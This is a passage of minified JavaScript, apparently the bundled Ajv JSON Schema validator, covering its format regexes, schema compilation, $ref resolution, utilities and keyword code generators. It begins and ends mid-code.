\d\d|[1-9]?\d)){3}))|:))|(?::(?:(?:(?::[0-9a-f]{1,4}){1,7})|(?:(?::[0-9a-f]{1,4}){0,5}:(?:(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(?:\.(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:)))(?:%.+)?\s*$/i,
                        regex: I,
                        uuid: f,
                        "json-pointer": S,
                        "relative-json-pointer": w
                    }, i.full = {
                        date: r,
                        time: o,
                        "date-time": n,
                        uri: a,
                        "uri-reference": u,
                        "uri-template": Q,
                        url: d,
                        email: /^[a-z0-9!#$%&'*+\/=?^_`{|}~-]+(?:\.[a-z0-9!#$%&''*+\/=?^_`{|}~-]+)*@(?:[a-z0-9](?:[a-z0-9-]*[a-z0-9])?\.)+[a-z0-9](?:[a-z0-9-]*[a-z0-9])?$/i,
                        hostname: s,
                        ipv4: /^(?:(?:25[0-5]|2[0-4]\d|[01]?\d\d?)\.){3}(?:25[0-5]|2[0-4]\d|[01]?\d\d?)$/,
                        ipv6: /^\s*(?:(?:(?:[0-9a-f]{1,4}:){7}(?:[0-9a-f]{1,4}|:))|(?:(?:[0-9a-f]{1,4}:){6}(?::[0-9a-f]{1,4}|(?:(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(?:\.(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3})|:))|(?:(?:[0-9a-f]{1,4}:){5}(?:(?:(?::[0-9a-f]{1,4}){1,2})|:(?:(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(?:\.(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3})|:))|(?:(?:[0-9a-f]{1,4}:){4}(?:(?:(?::[0-9a-f]{1,4}){1,3})|(?:(?::[0-9a-f]{1,4})?:(?:(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(?:\.(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(?:(?:[0-9a-f]{1,4}:){3}(?:(?:(?::[0-9a-f]{1,4}){1,4})|(?:(?::[0-9a-f]{1,4}){0,2}:(?:(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(?:\.(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(?:(?:[0-9a-f]{1,4}:){2}(?:(?:(?::[0-9a-f]{1,4}){1,5})|(?:(?::[0-9a-f]{1,4}){0,3}:(?:(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(?:\.(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(?:(?:[0-9a-f]{1,4}:){1}(?:(?:(?::[0-9a-f]{1,4}){1,6})|(?:(?::[0-9a-f]{1,4}){0,4}:(?:(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(?:\.(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(?::(?:(?:(?::[0-9a-f]{1,4}){1,7})|(?:(?::[0-9a-f]{1,4}){0,5}:(?:(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(?:\.(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:)))(?:%.+)?\s*$/i,
                        regex: I,
                        uuid: f,
                        "json-pointer": S,
                        "relative-json-pointer": w
                    };
                    var p = /t|\s/i,
                        C = /\/|:/,
                        D = /[^\\]\\Z/
                }, {
                    "./util": 12
                }],
                7: [function(A, e, t) {
                    "use strict";

                    function i(A, e, t, n) {
                        function w() {
                            var A = z.validate,
                                e = A.apply(null, arguments);
                            return w.errors = A.errors, e
                        }

                        function p(A, t, r, o) {
                            var n = !t || t && t.schema == A;
                            if (t.schema != e.schema) return i.call(L, A, t, r, o);
                            var E = !0 === A.$async,
                                w = u({
                                    isTop: !0,
                                    schema: A,
                                    isRoot: n,
                                    baseId: o,
                                    root: t,
                                    schemaPath: "",
                                    errSchemaPath: "#",
                                    errorPath: '""',
                                    MissingRefError: h.MissingRef,
                                    RULES: T,
                                    validate: u,
                                    util: g,
                                    resolve: B,
                                    resolveRef: C,
                                    usePattern: P,
                                    useDefault: y,
                                    useCustomRule: F,
                                    opts: k,
                                    formats: G,
                                    self: L
                                });
                            w = c(J, I) + c(N, s) + c(b, a) + c(Y, l) + w, k.processCode && (w = k.processCode(w));
                            var p;
                            try {
                                p = new Function("self", "RULES", "formats", "root", "refVal", "defaults", "customRules", "co", "equal", "ucs2length", "ValidationError", w)(L, T, G, e, J, b, Y, Q, f, d, S), J[0] = p
                            } catch (A) {
                                throw console.error("Error compiling schema, function code:", w), A
                            }
                            return p.schema = A, p.errors = null, p.refs = j, p.refVal = J, p.root = n ? p : t, E && (p.$async = !0), !0 === k.sourceCode && (p.source = {
                                code: w,
                                patterns: N,
                                defaults: b
                            }), p
                        }

                        function C(A, r, o) {
                            r = B.url(A, r);
                            var n, s, a = j[r];
                            if (void 0 !== a) return n = J[a], s = "refVal[" + a + "]", M(n, s);
                            if (!o && e.refs) {
                                var I = e.refs[r];
                                if (void 0 !== I) return n = e.refVal[I], s = D(r, n), M(n, s)
                            }
                            s = D(r);
                            var l = B.call(L, p, e, r);
                            if (void 0 === l) {
                                var c = t && t[r];
                                c && (l = B.inlineRef(c, k.inlineRefs) ? c : i.call(L, c, e, t, A))
                            }
                            return void 0 !== l ? (m(r, l), M(l, s)) : void v(r)
                        }

                        function D(A, e) {
                            var t = J.length;
                            return J[t] = e, j[A] = t, "refVal" + t
                        }

                        function v(A) {
                            delete j[A]
                        }

                        function m(A, e) {
                            J[j[A]] = e
                        }

                        function M(A, e) {
                            return "object" == typeof A || "boolean" == typeof A ? {
                                code: e,
                                schema: A,
                                inline: !0
                            } : {
                                code: e,
                                $async: A && A.$async
                            }
                        }

                        function P(A) {
                            var e = U[A];
                            return void 0 === e && (e = U[A] = N.length, N[e] = A), "pattern" + e
                        }

                        function y(A) {
                            switch (typeof A) {
                                case "boolean":
                                case "number":
                                    return "" + A;
                                case "string":
                                    return g.toQuotedString(A);
                                case "object":
                                    if (null === A) return "null";
                                    var e = E(A),
                                        t = R[e];
                                    return void 0 === t && (t = R[e] = b.length, b[t] = A), "default" + t
                            }
                        }

                        function F(A, e, t, i) {
                            var r = A.definition.validateSchema;
                            if (r && !1 !== L._opts.validateSchema && !r(e)) {
                                var o = "keyword schema is invalid: " + L.errorsText(r.errors);
                                if ("log" != L._opts.validateSchema) throw new Error(o);
                                console.error(o)
                            }
                            var n, s = A.definition.compile,
                                a = A.definition.inline,
                                I = A.definition.macro;
                            if (s) n = s.call(L, e, t, i);
                            else if (I) n = I.call(L, e, t, i), !1 !== k.validateSchema && L.validateSchema(n, !0);
                            else if (a) n = a.call(L, i, A.keyword, e, t);
                            else if (!(n = A.definition.validate)) return;
                            if (void 0 === n) throw new Error('custom keyword "' + A.keyword + '"failed to compile');
                            var l = Y.length;
                            return Y[l] = n, {
                                code: "customRule" + l,
                                validate: n
                            }
                        }
                        var L = this,
                            k = this._opts,
                            J = [void 0],
                            j = {},
                            N = [],
                            U = {},
                            b = [],
                            R = {},
                            Y = [];
                        e = e || {
                            schema: A,
                            refVal: J,
                            refs: j
                        };
                        var x = r.call(this, A, e, n),
                            z = this._compilations[x.index];
                        if (x.compiling) return z.callValidate = w;
                        var G = this._formats,
                            T = this.RULES;
                        try {
                            var X = p(A, e, t, n);
                            z.validate = X;
                            var H = z.callValidate;
                            return H && (H.schema = X.schema, H.errors = null, H.refs = X.refs, H.refVal = X.refVal, H.root = X.root, H.$async = X.$async, k.sourceCode && (H.source = X.source)), X
                        } finally {
                            o.call(this, A, e, n)
                        }
                    }

                    function r(A, e, t) {
                        var i = n.call(this, A, e, t);
                        return i >= 0 ? {
                            index: i,
                            compiling: !0
                        } : (i = this._compilations.length, this._compilations[i] = {
                            schema: A,
                            root: e,
                            baseId: t
                        }, {
                            index: i,
                            compiling: !1
                        })
                    }

                    function o(A, e, t) {
                        var i = n.call(this, A, e, t);
                        i >= 0 && this._compilations.splice(i, 1)
                    }

                    function n(A, e, t) {
                        for (var i = 0; i < this._compilations.length; i++) {
                            var r = this._compilations[i];
                            if (r.schema == A && r.root == e && r.baseId == t) return i
                        }
                        return -1
                    }

                    function s(A, e) {
                        return "var pattern" + A + " = new RegExp(" + g.toQuotedString(e[A]) + ");"
                    }

                    function a(A) {
                        return "var default" + A + " = defaults[" + A + "];"
                    }

                    function I(A, e) {
                        return void 0 === e[A] ? "" : "var refVal" + A + " = refVal[" + A + "];"
                    }

                    function l(A) {
                        return "var customRule" + A + " = customRules[" + A + "];"
                    }

                    function c(A, e) {
                        if (!A.length) return "";
                        for (var t = "", i = 0; i < A.length; i++) t += e(i, A);
                        return t
                    }
                    var B = A("./resolve"),
                        g = A("./util"),
                        h = A("./error_classes"),
                        E = A("json-stable-stringify"),
                        u = A("../dotjs/validate"),
                        Q = A("co"),
                        d = g.ucs2length,
                        f = A("fast-deep-equal"),
                        S = h.Validation;
                    e.exports = i
                }, {
                    "../dotjs/validate": 35,
                    "./error_classes": 5,
                    "./resolve": 8,
                    "./util": 12,
                    co: 40,
                    "fast-deep-equal": 41,
                    "json-stable-stringify": 43
                }],
                8: [function(A, e, t) {
                    "use strict";

                    function i(A, e, t) {
                        var o = this._refs[t];
                        if ("string" == typeof o) {
                            if (!this._refs[o]) return i.call(this, A, e, o);
                            o = this._refs[o]
                        }
                        if ((o = o || this._schemas[t]) instanceof d) return s(o.schema, this._opts.inlineRefs) ? o.schema : o.validate || this._compile(o);
                        var n, a, I, l = r.call(this, e, t);
                        return l && (n = l.schema, e = l.root, I = l.baseId), n instanceof d ? a = n.validate || A.call(this, n.schema, e, void 0, I) : void 0 !== n && (a = s(n, this._opts.inlineRefs) ? n : A.call(this, n, e, void 0, I)), a
                    }

                    function r(A, e) {
                        var t = E.parse(e, !1, !0),
                            i = c(t),
                            r = l(this._getId(A.schema));
                        if (i !== r) {
                            var s = B(i),
                                a = this._refs[s];
                            if ("string" == typeof a) return o.call(this, A, a, t);
                            if (a instanceof d) a.validate || this._compile(a), A = a;
                            else {
                                if (!((a = this._schemas[s]) instanceof d)) return;
                                if (a.validate || this._compile(a), s == B(e)) return {
                                    schema: a,
                                    root: A,
                                    baseId: r
                                };
                                A = a
                            }
                            if (!A.schema) return;
                            r = l(this._getId(A.schema))
                        }
                        return n.call(this, t, r, A.schema, A)
                    }

                    function o(A, e, t) {
                        var i = r.call(this, A, e);
                        if (i) {
                            var o = i.schema,
                                s = i.baseId;
                            A = i.root;
                            var a = this._getId(o);
                            return a && (s = g(s, a)), n.call(this, t, s, o, A)
                        }
                    }

                    function n(A, e, t, i) {
                        if ("#/" == (A.hash = A.hash || "").slice(0, 2)) {
                            for (var o = A.hash.split("/"), n = 1; n < o.length; n++) {
                                var s = o[n];
                                if (s) {
                                    if (s = Q.unescapeFragment(s), void 0 === (t = t[s])) break;
                                    var a;
                                    if (!S[s] && ((a = this._getId(t)) && (e = g(e, a)), t.$ref)) {
                                        var I = g(e, t.$ref),
                                            l = r.call(this, i, I);
                                        l && (t = l.schema, i = l.root, e = l.baseId)
                                    }
                                }
                            }
                            return void 0 !== t && t !== i.schema ? {
                                schema: t,
                                root: i,
                                baseId: e
                            } : void 0
                        }
                    }

                    function s(A, e) {
                        return !1 !== e && (void 0 === e || !0 === e ? a(A) : e ? I(A) <= e : void 0)
                    }

                    function a(A) {
                        var e;
                        if (Array.isArray(A)) {
                            for (var t = 0; t < A.length; t++)
                                if ("object" == typeof(e = A[t]) && !a(e)) return !1
                        } else
                            for (var i in A) {
                                if ("$ref" == i) return !1;
                                if ("object" == typeof(e = A[i]) && !a(e)) return !1
                            }
                        return !0
                    }

                    function I(A) {
                        var e, t = 0;
                        if (Array.isArray(A)) {
                            for (var i = 0; i < A.length; i++)
                                if ("object" == typeof(e = A[i]) && (t += I(e)), t == 1 / 0) return 1 / 0
                        } else
                            for (var r in A) {
                                if ("$ref" == r) return 1 / 0;
                                if (w[r]) t++;
                                else if ("object" == typeof(e = A[r]) && (t += I(e) + 1), t == 1 / 0) return 1 / 0
                            }
                        return t
                    }

                    function l(A, e) {
                        return !1 !== e && (A = B(A)), c(E.parse(A, !1, !0))
                    }

                    function c(A) {
                        var e = A.protocol || "//" == A.href.slice(0, 2) ? "//" : "";
                        return (A.protocol || "") + e + (A.host || "") + (A.path || "") + "#"
                    }

                    function B(A) {
                        return A ? A.replace(p, "") : ""
                    }

                    function g(A, e) {
                        return e = B(e), E.resolve(A, e)
                    }

                    function h(A) {
                        var e = B(this._getId(A)),
                            t = {
                                "": e
                            },
                            i = {
                                "": l(e, !1)
                            },
                            r = {},
                            o = this;
                        return f(A, {
                            allKeys: !0
                        }, function(A, e, n, s, a, I, l) {
                            if ("" !== e) {
                                var c = o._getId(A),
                                    g = t[s],
                                    h = i[s] + "/" + a;
                                if (void 0 !== l && (h += "/" + ("number" == typeof l ? l : Q.escapeFragment(l))), "string" == typeof c) {
                                    c = g = B(g ? E.resolve(g, c) : c);
                                    var d = o._refs[c];
                                    if ("string" == typeof d && (d = o._refs[d]), d && d.schema) {
                                        if (!u(A, d.schema)) throw new Error('id "' + c + '" resolves to more than one schema')
                                    } else if (c != B(h))
                                        if ("#" == c[0]) {
                                            if (r[c] && !u(A, r[c])) throw new Error('id "' + c + '" resolves to more than one schema');
                                            r[c] = A
                                        } else o._refs[c] = h
                                }
                                t[e] = g, i[e] = h
                            }
                        }), r
                    }
                    var E = A("url"),
                        u = A("fast-deep-equal"),
                        Q = A("./util"),
                        d = A("./schema_obj"),
                        f = A("json-schema-traverse");
                    e.exports = i, i.normalizeId = B, i.fullPath = l, i.url = g, i.ids = h, i.inlineRef = s, i.schema = r;
                    var S = Q.toHash(["properties", "patternProperties", "enum", "dependencies", "definitions"]),
                        w = Q.toHash(["type", "format", "pattern", "maxLength", "minLength", "maxProperties", "minProperties", "maxItems", "minItems", "maximum", "minimum", "uniqueItems", "multipleOf", "required", "enum"]),
                        p = /#\/?$/
                }, {
                    "./schema_obj": 10,
                    "./util": 12,
                    "fast-deep-equal": 41,
                    "json-schema-traverse": 42,
                    url: 51
                }],
                9: [function(A, e, t) {
                    "use strict";
                    var i = A("./_rules"),
                        r = A("./util").toHash;
                    e.exports = function() {
                        var A = [{
                                type: "number",
                                rules: [{
                                    maximum: ["exclusiveMaximum"]
                                }, {
                                    minimum: ["exclusiveMinimum"]
                                }, "multipleOf", "format"]
                            }, {
                                type: "string",
                                rules: ["maxLength", "minLength", "pattern", "format"]
                            }, {
                                type: "array",
                                rules: ["maxItems", "minItems", "uniqueItems", "contains", "items"]
                            }, {
                                type: "object",
                                rules: ["maxProperties", "minProperties", "required", "dependencies", "propertyNames", {
                                    properties: ["additionalProperties", "patternProperties"]
                                }]
                            }, {
                                rules: ["$ref", "const", "enum", "not", "anyOf", "oneOf", "allOf"]
                            }],
                            e = ["type"],
                            t = ["additionalItems", "$schema", "id", "title", "description", "default", "definitions"],
                            o = ["number", "integer", "string", "array", "object", "boolean", "null"];
                        return A.all = r(e), A.types = r(o), A.forEach(function(t) {
                            t.rules = t.rules.map(function(t) {
                                var r;
                                if ("object" == typeof t) {
                                    var o = Object.keys(t)[0];
                                    r = t[o], t = o, r.forEach(function(t) {
                                        e.push(t), A.all[t] = !0
                                    })
                                }
                                return e.push(t), A.all[t] = {
                                    keyword: t,
                                    code: i[t],
                                    implements: r
                                }
                            }), t.type && (A.types[t.type] = t)
                        }), A.keywords = r(e.concat(t)), A.custom = {}, A
                    }
                }, {
                    "./_rules": 3,
                    "./util": 12
                }],
                10: [function(A, e, t) {
                    "use strict";

                    function i(A) {
                        r.copy(A, this)
                    }
                    var r = A("./util");
                    e.exports = i
                }, {
                    "./util": 12
                }],
                11: [function(A, e, t) {
                    "use strict";
                    e.exports = function(A) {
                        for (var e, t = 0, i = A.length, r = 0; r < i;) t++, (e = A.charCodeAt(r++)) >= 55296 && e <= 56319 && r < i && 56320 == (64512 & (e = A.charCodeAt(r))) && r++;
                        return t
                    }
                }, {}],
                12: [function(A, e, t) {
                    "use strict";

                    function i(A, e) {
                        e = e || {};
                        for (var t in A) e[t] = A[t];
                        return e
                    }

                    function r(A, e, t) {
                        var i = t ? " !== " : " === ",
                            r = t ? " || " : " && ",
                            o = t ? "!" : "",
                            n = t ? "" : "!";
                        switch (A) {
                            case "null":
                                return e + i + "null";
                            case "array":
                                return o + "Array.isArray(" + e + ")";
                            case "object":
                                return "(" + o + e + r + "typeof " + e + i + '"object"' + r + n + "Array.isArray(" + e + "))";
                            case "integer":
                                return "(typeof " + e + i + '"number"' + r + n + "(" + e + " % 1)" + r + e + i + e + ")";
                            default:
                                return "typeof " + e + i + '"' + A + '"'
                        }
                    }

                    function o(A, e) {
                        switch (A.length) {
                            case 1:
                                return r(A[0], e, !0);
                            default:
                                var t = "",
                                    i = s(A);
                                i.array && i.object && (t = i.null ? "(" : "(!" + e + " || ", t += "typeof " + e + ' !== "object")', delete i.null, delete i.array, delete i.object), i.number && delete i.integer;
                                for (var o in i) t += (t ? " && " : "") + r(o, e, !0);
                                return t
                        }
                    }

                    function n(A, e) {
                        if (Array.isArray(e)) {
                            for (var t = [], i = 0; i < e.length; i++) {
                                var r = e[i];
                                v[r] ? t[t.length] = r : "array" === A && "array" === r && (t[t.length] = r)
                            }
                            if (t.length) return t
                        } else {
                            if (v[e]) return [e];
                            if ("array" === A && "array" === e) return ["array"]
                        }
                    }

                    function s(A) {
                        for (var e = {}, t = 0; t < A.length; t++) e[A[t]] = !0;
                        return e
                    }

                    function a(A) {
                        return "number" == typeof A ? "[" + A + "]" : m.test(A) ? "." + A : "['" + I(A) + "']"
                    }

                    function I(A) {
                        return A.replace(M, "\\$&").replace(/\n/g, "\\n").replace(/\r/g, "\\r").replace(/\f/g, "\\f").replace(/\t/g, "\\t")
                    }

                    function l(A, e) {
                        e += "[^0-9]";
                        var t = A.match(new RegExp(e, "g"));
                        return t ? t.length : 0
                    }

                    function c(A, e, t) {
                        return e += "([^0-9])", t = t.replace(/\$/g, "$$$$"), A.replace(new RegExp(e, "g"), t + "$1")
                    }

                    function B(A) {
                        return A.replace(P, "").replace(y, "").replace(F, "if (!($1))")
                    }

                    function g(A, e) {
                        var t = A.match(L);
                        return t && 2 == t.length && (A = e ? A.replace(J, "").replace(U, b) : A.replace(k, "").replace(j, N)), t = A.match(R), t && 3 === t.length ? A.replace(Y, "") : A
                    }

                    function h(A, e) {
                        if ("boolean" == typeof A) return !A;
                        for (var t in A)
                            if (e[t]) return !0
                    }

                    function E(A, e, t) {
                        if ("boolean" == typeof A) return !A && "not" != t;
                        for (var i in A)
                            if (i != t && e[i]) return !0
                    }

                    function u(A) {
                        return "'" + I(A) + "'"
                    }

                    function Q(A, e, t, i) {
                        return S(A, t ? "'/' + " + e + (i ? "" : ".replace(/~/g, '~0').replace(/\\//g, '~1')") : i ? "'[' + " + e + " + ']'" : "'[\\'' + " + e + " + '\\']'")
                    }

                    function d(A, e, t) {
                        return S(A, u(t ? "/" + C(e) : a(e)))
                    }

                    function f(A, e, t) {
                        var i, r, o, n;
                        if ("" === A) return "rootData";
                        if ("/" == A[0]) {
                            if (!x.test(A)) throw new Error("Invalid JSON-pointer: " + A);
                            r = A, o = "rootData"
                        } else {
                            if (!(n = A.match(z))) throw new Error("Invalid JSON-pointer: " + A);
                            if (i = +n[1], "#" == (r = n[2])) {
                                if (i >= e) throw new Error("Cannot access property/index " + i + " levels up, current level is " + e);
                                return t[e - i]
                            }
                            if (i > e) throw new Error("Cannot access data " + i + " levels up, current level is " + e);
                            if (o = "data" + (e - i || ""), !r) return o
                        }
                        for (var s = o, I = r.split("/"), l = 0; l < I.length; l++) {
                            var c = I[l];
                            c && (s += " && " + (o += a(D(c))))
                        }
                        return s
                    }

                    function S(A, e) {
                        return '""' == A ? e : (A + " + " + e).replace(/' \+ '/g, "")
                    }

                    function w(A) {
                        return D(decodeURIComponent(A))
                    }

                    function p(A) {
                        return encodeURIComponent(C(A))
                    }

                    function C(A) {
                        return A.replace(/~/g, "~0").replace(/\//g, "~1")
                    }

                    function D(A) {
                        return A.replace(/~1/g, "/").replace(/~0/g, "~")
                    }
                    e.exports = {
                        copy: i,
                        checkDataType: r,
                        checkDataTypes: o,
                        coerceToTypes: n,
                        toHash: s,
                        getProperty: a,
                        escapeQuotes: I,
                        equal: A("fast-deep-equal"),
                        ucs2length: A("./ucs2length"),
                        varOccurences: l,
                        varReplace: c,
                        cleanUpCode: B,
                        finalCleanUpCode: g,
                        schemaHasRules: h,
                        schemaHasRulesExcept: E,
                        toQuotedString: u,
                        getPathExpr: Q,
                        getPath: d,
                        getData: f,
                        unescapeFragment: w,
                        unescapeJsonPointer: D,
                        escapeFragment: p,
                        escapeJsonPointer: C
                    };
                    var v = s(["string", "number", "integer", "boolean", "null"]),
                        m = /^[a-z$_][a-z$_0-9]*$/i,
                        M = /'|\\/g,
                        P = /else\s*{\s*}/g,
                        y = /if\s*\([^)]+\)\s*\{\s*\}(?!\s*else)/g,
                        F = /if\s*\(([^)]+)\)\s*\{\s*\}\s*else(?!\s*if)/g,
                        L = /[^v.]errors/g,
                        k = /var errors = 0;|var vErrors = null;|validate.errors = vErrors;/g,
                        J = /var errors = 0;|var vErrors = null;/g,
                        j = "return errors === 0;",
                        N = "validate.errors = null; return true;",
                        U = /if \(errors === 0\) return data;\s*else throw new ValidationError\(vErrors\);/,
                        b = "return data;",
                        R = /[^A-Za-z_$]rootData[^A-Za-z0-9_$]/g,
                        Y = /if \(rootData === undefined\) rootData = data;/,
                        x = /^\/(?:[^~]|~0|~1)*$/,
                        z = /^([0-9]+)(#|\/(?:[^~]|~0|~1)*)?$/
                }, {
                    "./ucs2length": 11,
                    "fast-deep-equal": 41
                }],
                13: [function(A, e, t) {
                    "use strict";
                    e.exports = function(A, e, t) {
                        var i, r = " ",
                            o = A.level,
                            n = A.dataLevel,
                            s = A.schema[e],
                            a = A.schemaPath + A.util.getProperty(e),
                            I = A.errSchemaPath + "/" + e,
                            l = !A.opts.allErrors,
                            c = "data" + (n || ""),
                            B = A.opts.$data && s && s.$data;
                        B ? (r += " var schema" + o + " = " + A.util.getData(s.$data, n, A.dataPathArr) + "; ", i = "schema" + o) : i = s;
                        var g = "maximum" == e,
                            h = g ? "exclusiveMaximum" : "exclusiveMinimum",
                            E = A.schema[h],
                            u = A.opts.$data && E && E.$data,
                            Q = g ? "<" : ">",
                            d = g ? ">" : "<",
                            f = void 0;
                        if (u) {
                            var S = A.util.getData(E.$data, n, A.dataPathArr),
                                w = "exclusive" + o,
                                p = "exclType" + o,
                                C = "exclIsNumber" + o,
                                D = "' + " + (v = "op" + o) + " + '";
                            r += " var schemaExcl" + o + " = " + S + "; ", r += " var " + w + "; var " + p + " = typeof " + (S = "schemaExcl" + o) + "; if (" + p + " != 'boolean' && " + p + " != 'undefined' && " + p + " != 'number') { ", f = h, (m = m || []).push(r), r = "", !1 !== A.createErrors ? (r += " { keyword: '" + (f || "_exclusiveLimit") + "' , dataPath: (dataPath || '') + " + A.errorPath + " , schemaPath: " + A.util.toQuotedString(I) + " , params: {} ", !1 !== A.opts.messages && (r += " , message: '" + h + " should be boolean' "), A.opts.verbose && (r += " , schema: validate.schema" + a + " , parentSchema: validate.schema" + A.schemaPath + " , data: " + c + " "), r += " } ") : r += " {} ", M = r, r = m.pop(), r += !A.compositeRule && l ? A.async ? " throw new ValidationError([" + M + "]); " : " validate.errors = [" + M + "]; return false; " : " var err = " + M + ";  if (vErrors === null) vErrors = [err]; else vErrors.push(err); errors++; ", r += " } else if ( ", B && (r += " (" + i + " !== undefined && typeof " + i + " != 'number') || "), r += " " + p + " == 'number' ? ( (" + w + " = " + i + " === undefined || " + S + " " + Q + "= " + i + ") ? " + c + " " + d + "= " + S + " : " + c + " " + d + " " + i + " ) : ( (" + w + " = " + S + " === true) ? " + c + " " + d + "= " + i + " : " + c + " " + d + " " + i + " ) || " + c + " !== " + c + ") { var op" + o + " = " + w + " ? '" + Q + "' : '" + Q + "=';"
                        } else if (D = Q, (C = "number" == typeof E) && B) v = "'" + D + "'", r += " if ( ", B && (r += " (" + i + " !== undefined && typeof " + i + " != 'number') || "), r += " ( " + i + " === undefined || " + E + " " + Q + "= " + i + " ? " + c + " " + d + "= " + E + " : " + c + " " + d + " " + i + " ) || " + c + " !== " + c + ") { ";
                        else {
                            C && void 0 === s ? (w = !0, f = h, I = A.errSchemaPath + "/" + h, i = E, d += "=") : (C && (i = Math[g ? "min" : "max"](E, s)), E === (!C || i) ? (w = !0, f = h, I = A.errSchemaPath + "/" + h, d += "=") : (w = !1, D += "="));
                            var v = "'" + D + "'";
                            r += " if ( ", B && (r += " (" + i + " !== undefined && typeof " + i + " != 'number') || "), r += " " + c + " " + d + " " + i + " || " + c + " !== " + c + ") { "
                        }
                        f = f || e;
                        var m = m || [];
                        m.push(r), r = "", !1 !== A.createErrors ? (r += " { keyword: '" + (f || "_limit") + "' , dataPath: (dataPath || '') + " + A.errorPath + " , schemaPath: " + A.util.toQuotedString(I) + " , params: { comparison: " + v + ", limit: " + i + ", exclusive: " + w + " } ", !1 !== A.opts.messages && (r += " , message: 'should be " + D + " ", r += B ? "' + " + i : i + "'"), A.opts.verbose && (r += " , schema:  ", r += B ? "validate.schema" + a : "" + s, r += "         , parentSchema: validate.schema" + A.schemaPath + " , data: " + c + " "), r += " } ") : r += " {} ";
                        var M = r;
                        return r = m.pop(), r += !A.compositeRule && l ? A.async ? " throw new ValidationError([" + M + "]); " : " validate.errors = [" + M + "]; return false; " : " var err = " + M + ";  if (vErrors === null) vErrors = [err]; else vErrors.push(err); errors++; ", r += " } ", l && (r += " else { "), r
                    }
                }, {}],
                14: [function(A, e, t) {
                    "use strict";
                    e.exports = function(A, e, t) {
                        var i, r = " ",
                            o = A.level,
                            n = A.dataLevel,
                            s = A.schema[e],
                            a = A.schemaPath + A.util.getProperty(e),
                            I = A.errSchemaPath + "/" + e,
                            l = !A.opts.allErrors,
                            c = "data" + (n || ""),
                            B = A.opts.$data && s && s.$data;
                        B ? (r += " var schema" + o + " = " + A.util.getData(s.$data, n, A.dataPathArr) + "; ", i = "schema" + o) : i = s;
                        var g = "maxItems" == e ? ">" : "<";
                        r += "if ( ", B && (r += " (" + i + " !== undefined && typeof " + i + " != 'number') || "), r += " " + c + ".length " + g + " " + i + ") { ";
                        var h = e,
                            E = E || [];
                        E.push(r), r = "", !1 !== A.createErrors ? (r += " { keyword: '" + (h || "_limitItems") + "' , dataPath: (dataPath || '') + " + A.errorPath + " , schemaPath: " + A.util.toQuotedString(I) + " , params: { limit: " + i + " } ", !1 !== A.opts.messages && (r += " , message: 'should NOT have ", r += "maxItems" == e ? "more" : "less", r += " than ", r += B ? "' + " + i + " + '" : "" + s, r += " items' "), A.opts.verbose && (r += " , schema:  ", r += B ? "validate.schema" + a : "" + s, r += "         , parentSchema: validate.schema" + A.schemaPath + " , data: " + c + " "), r += " } ") : r += " {} ";
                        var u = r;
                        return r = E.pop(), r += !A.compositeRule && l ? A.async ? " throw new ValidationError([" + u + "]); " : " validate.errors = [" + u + "]; return false; " : " var err = " + u + ";  if (vErrors === null) vErrors = [err]; else vErrors.push(err); errors++; ", r += "} ", l && (r += " else { "), r
                    }
                }, {}],
                15: [function(A, e, t) {
                    "use strict";
                    e.exports = function(A, e, t) {
                        var i, r = " ",
                            o = A.level,
                            n = A.dataLevel,
                            s = A.schema[e],
                            a = A.schemaPath + A.util.getProperty(e),
                            I = A.errSchemaPath + "/" + e,
                            l = !A.opts.allErrors,
                            c = "data" + (n || ""),
                            B = A.opts.$data && s && s.$data;
                        B ? (r += " var schema" + o + " = " + A.util.getData(s.$data, n, A.dataPathArr) + "; ", i = "schema" + o) : i = s;
                        var g = "maxLength" == e ? ">" : "<";
                        r += "if ( ", B && (r += " (" + i + " !== undefined && typeof " + i + " != 'number') || "), r += !1 === A.opts.unicode ? " " + c + ".length " : " ucs2length(" + c + ") ", r += " " + g + " " + i + ") { ";
                        var h = e,
                            E = E || [];
                        E.push(r), r = "", !1 !== A.createErrors ? (r += " { keyword: '" + (h || "_limitLength") + "' , dataPath: (dataPath || '') + " + A.errorPath + " , schemaPath: " + A.util.toQuotedString(I) + " , params: { limit: " + i + " } ", !1 !== A.opts.messages && (r += " , message: 'should NOT be ", r += "maxLength" == e ? "longer" : "shorter", r += " than ", r += B ? "' + " + i + " + '" : "" + s, r += " characters' "), A.opts.verbose && (r += " , schema:  ", r += B ? "validate.schema" + a : "" + s, r += "         , parentSchema: validate.schema" + A.schemaPath + " , data: " + c + " "), r += " } ") : r += " {} ";
                        var u = r;
                        return r = E.pop(), r += !A.compositeRule && l ? A.async ? " throw new ValidationError([" + u + "]); " : " validate.errors = [" + u + "]; return false; " : " var err = " + u + ";  if (vErrors === null) vErrors = [err]; else vErrors.push(err); errors++; ", r += "} ", l && (r += " else { "), r
                    }
                }, {}],
                16: [function(A, e, t) {
                    "use strict";
                    e.exports = function(A, e, t) {
                        var i, r = " ",
                            o = A.level,
                            n = A.dataLevel,
                            s = A.schema[e],
                            a = A.schemaPath + A.util.getProperty(e),
                            I = A.errSchemaPath + "/" + e,
                            l = !A.opts.allErrors,
                            c = "data" + (n || ""),
                            B = A.opts.$data && s && s.$data;
                        B ? (r += " var schema" + o + " = " + A.util.getData(s.$data, n, A.dataPathArr) + "; ", i = "schema" + o) : i = s;
                        var g = "maxProperties" == e ? ">" : "<";
                        r += "if ( ", B && (r += " (" + i + " !== undefined && typeof " + i + " != 'number') || "), r += " Object.keys(" + c + ").length " + g + " " + i + ") { ";
                        var h = e,
                            E = E || [];
